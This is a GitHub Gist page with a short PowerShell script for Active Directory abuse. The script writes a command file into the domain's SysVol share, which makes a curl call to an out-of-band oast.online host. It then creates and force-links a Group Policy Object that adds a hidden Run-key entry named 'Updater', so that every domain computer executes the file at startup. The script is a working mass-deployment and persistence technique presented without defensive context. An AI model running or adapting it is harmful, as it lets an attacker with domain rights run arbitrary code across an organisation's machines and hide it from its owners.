Last active
May 30, 2023 15:39
-
-
Save vinhjaxt/92fc551912771116febfe985786548ac to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
$MY_SCRIPT="`nC:\Windows\System32\curl.exe cfibiefn9dldnf7uquq0cb6g79wa8bhki.oast.online`n" | |
# Getting information | |
$DOMAIN=(Get-ADDomain).Forest | |
$DOMAIN='dfcorp.com' | |
$DN=(Get-ADDomain).DistinguishedName | |
$DN='OU=Workstations,DC=dfcorp,DC=com' | |
$DN='DC=dfcorp,DC=com' | |
# Write the script to be executed by computers | |
$MY_SCRIPT | Out-File \\$DOMAIN\SysVol\$DOMAIN\scripts\script.cmd -Encoding utf8 | |
# Create GPO and link it to domain | |
New-GPO -Name "my_gpo" | |
$GUID=(Get-GPO -Name "my_gpo").id | |
New-GPLink -Name "my_gpo" -Target "$DN" -Enforced Yes -LinkEnabled Yes | |
Set-GPPrefRegistryValue -Name "my_gpo" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\$DOMAIN\SysVol\$DOMAIN\scripts\script.cmd" -Type ExpandString | |
# Sync with registry | |
gpupdate /force |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment